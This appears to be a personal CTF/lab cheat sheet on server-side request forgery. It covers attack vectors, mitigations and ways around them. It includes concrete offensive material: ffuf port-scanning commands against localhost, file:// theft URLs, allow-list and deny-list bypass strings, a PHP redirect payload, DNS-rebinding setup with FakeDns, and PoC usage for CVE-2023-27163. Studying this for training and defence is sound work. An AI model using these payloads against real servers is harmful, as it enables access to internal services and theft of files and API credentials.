Server-Side Request Forgery (SSRF)

server_side_attacks modern_web_exploitation_techniques ssrfqi ssrfhr adventofcyber2 testingforssrf server_side_request_forgery

Server-Side Request Forgery (SSRF) is an attack in which a hacker can make a server request something from another server, usually an internal server or an API.

From instance, a website using an API. If there is a SSRF vulnerability, the hacker may be able to query the API by exploiting the website.

Common attack vectors

  • πŸ“š Headers (mostly User-Agent)
  • πŸ“„ Forms (internal API calls)
  • πŸͺ Cookies
  • 🌍 Remote connections (imports, file processing, etc.)

Common usages are:

  • πŸ—ΊοΈ Port mapping
  • πŸ—ΊοΈ Access internal services
  • πŸ’° Steal sensitive data
  • πŸ’₯ Perform a DoS

There are two kinds of SSRF

  • Regular/in-band SSRF: the client will see the result
  • Blind/out-band SSRF: nothing is returned to the client

Refer to request grabber to catch requests.


SSRF Attack Vectors

Remote URL Access

server_side_attacks ssrfhr ssrfqi surfer

The most common scenario is when a website requests an external resources using user input, such as an external avatar URL.

A common scenario is a PHP call to file_get_contents to access a remote file. You have similar functions in other languages.

You may be able to:

  • Map ports/services πŸ—ΊοΈ
  • Steal files πŸ’°

Remote API Endpoint Access

ssrfqi

If a website is making a request to an external API based on a endpoint controlled by the user, we may be able to access another unintended endpoint. Ex: website.a/?api=path $\to$ website.b/path.

You may be able to:

  • Access unintended API endpoints πŸ›£οΈ

Remote API Access

ssrfqi

If the programmer is using user input to determine which server will be queried, then the hacker may try to send the request to their servers instead, and get the API credentials inside the headers.

Ex: a?api=xxx&r=path $\to$ xxx.b/path

  • We send the request to https://xxx.thebestapi.example/path
  • If api=malicious_website.com?&ignore=, then the URL crafted is https://malicious_website.com?&ignore=.thebestapi.com/path!

You may be able to:

  • Steal API tokens/credentials πŸ’΅

SSRF Exploitation

Mapping ports/services πŸ—ΊοΈ

server_side_attacks ssrfqi ssrfhr

You may inject URLs such as http://localhost:22 to test if the port 22 is open. You can use fuzzing to enumerate all ports:

$ seq 1 65535 > ports.txt
$ ffuf -w ports.txt -u 'http://IP/?xxx=http://127.0.0.1:FUZZ' -fr 'Connection refused'

You could also make the server call http://ifconfig.pro/ to get some information (IP, DNS...) to perform more advanced attacks.

Access Internal Services πŸ—ΊοΈ

ssrfhr surfer

You may be able to query internal IPs or internal websites.

Steal files πŸ’°

server_side_attacks ssrfqi ssrfhr

You may inject URLs to steal a file. For instance, a URL using the file protocol: file://some/file/on/the/target.


Mitigations πŸ›‘οΈ

SSRF Mitigations β€” Overview

modern_web_exploitation_techniques ssrfqi ssrfhr

You should use strong access controls, network segmentation and firewalls, logging and monitoring to support input validation.


SSRF Mitigations β€” Allow List

ssrfqi ssrfhr

We define a set of allowed URLs/resources. It can be bypassed if the condition is too lax such as "The URL must start with https://example.com" which can be bypassed with:

  • https://example.com.malicious.website
  • https://example.com@malicious.website

Usually, we want to avoid manipulating URLs and instead determine the URL to use from the user input. It's not always possible.


SSRF Mitigations β€” Deny List

modern_web_exploitation_techniques ssrfqi ssrfhr

We define a set of forbidden URLs/resources while allowing every other. For instance, we allow every IP aside from 127.0.0.1 and 169.254.169.254. It can be bypassed too.

All of these addresses may resolve to, or are resolving to, 127.0.0.1.

  • 0, 00, 000[...]0, 0.0.0.0 (any IP, which may be localhost)
  • 2130706433 (decimal), 017700000001 (octal), 0x7f000001 (hex)
  • 127.1 (IP shortening), 127.00[...]00.1 (IP prolonging)
  • ::1, ::ffff:127.0.0.1 (IPV6)
  • 127.0.0.1.nip.io, localtest.me, lvh.me, etc.
  • ...

SSRF Mitigations β€” Redirections are dangerous

modern_web_exploitation_techniques

A good security would be to resolve the domain/IP to check the IP is resolving to a private IP network (or a specific denied network).

ip = socket.gethostbyname("example.com") # extracted from input
ip = ipaddress.ip_address(ip)
if ip in ipaddress.ip_network('127.0.0.0/8'): # check others!!!
    return False
if ipaddress.ip_address(ip).is_loopback:
    return False # only check if 127.0.0.1

This verification can be circumvented through HTML/PHP redirection. By default, the 'requests' library in Python allows HTTP redirections.

<?php header('Location: http://127.0.0.1/'); ?>

SSRF Mitigations β€” DNS rebinding

modern_web_exploitation_techniques

Some vulnerable implementations are making two DNS queries:

  • One to verify that the IP is allowed
  • One to fetch the resource, if the IP was allowed

We bypass this by returning a public IPV4 addresses for the domain we control with a low TTL to pass the check. As we used a low TTL, the host will perform a second DNS query in which we can return any IP.

ip = socket.gethostbyname("example.com") # 1.1.1.1 TTL 0
requests.get("example.com")              # 127.0.0.1

We can use rebinder (website), DNSrebinder (0.1k ⭐), FakeDns (0.5k ⭐), or singularity (1.0k ⭐, web client and GOLang server).

You can use your own DNS server. Add the following configuration:

rebinding IN NS ns1337.example.com.
ns1337 IN A YOUR_SERVER_IP

Then, on your server, install and run a tool such as FakeDns:

$ DEST="$HOME/tools/fakedns"
$ git clone -b "master" https://github.com/Crypt0s/FakeDns.git $DEST
$ ln -s $DEST/fakedns.py $HOME/.local/bin/fakedns
$ cat test.conf
A rebinding.example.com 1.1.1.1 0%127.0.0.1
A rr.rebinding.example.com 1.1.1.1,127.0.0.1
$ fakedns -c test.conf --rebind # Run The DNS Server
  • Input: http://rebinding.example.com/admin
  • Input: http://rr.rebinding.example.com/admin

πŸ“š You can bind multiple domains for exfiltration using JavaScript. Fetch the data from a domain and sent it to another domain.

πŸ“š An alternative web service is s-1.1.1.1-127.0.0.1-<seed>-fs-e.d.rebind.it which returns 1.1.1.1 with a TTL=0 then 127.0.0.1. Make sure to replace <seed> with a unique unused value.


Example CVEs

CVE-2023-27163

sau

CVE in request-baskets. POC (shell script) (0.03k ⭐).

$ ./CVE-2023-27163.sh http://target:port http://listener:port 
Creating the "<backet>" proxy basket...
Basket created!
$ curl http://target:port/<backet> # sent to listener URL

It can be used to access a resource behind a firewall.

$ ./CVE-2023-27163.sh http://target:port http://target:fport 

The GOAT Way 🐐

In Python, the requests module uses a old version of URLLIB. The following URL "https://example.com\@@127.0.0.1/../flag" is interpreted differently between requests and urllib (src):

  • host=127.0.0.1\@@example.com path=/../flag with URLLIB3+
  • host=127.0.0.1 path=/@@example.com/../flag with URLLIB3

With this trick, you can bypass this dummy code:

URL = "https://127.0.0.1\@@example.com/../flag"
hostname = urllib.parse.urlparse(URL)
# Will verify 127.0.0.1\@@example.com
if hardened_check_on_hostname(hostname):
    raise Exception()
# Will fetch 127.0.0.1/flag
print(requests.get(URL).text)

πŸ“š This code is still vulnerable to DNS rebinding.


πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

Other attack vectors

  • avatar form
  • a script
  • a header
  • ...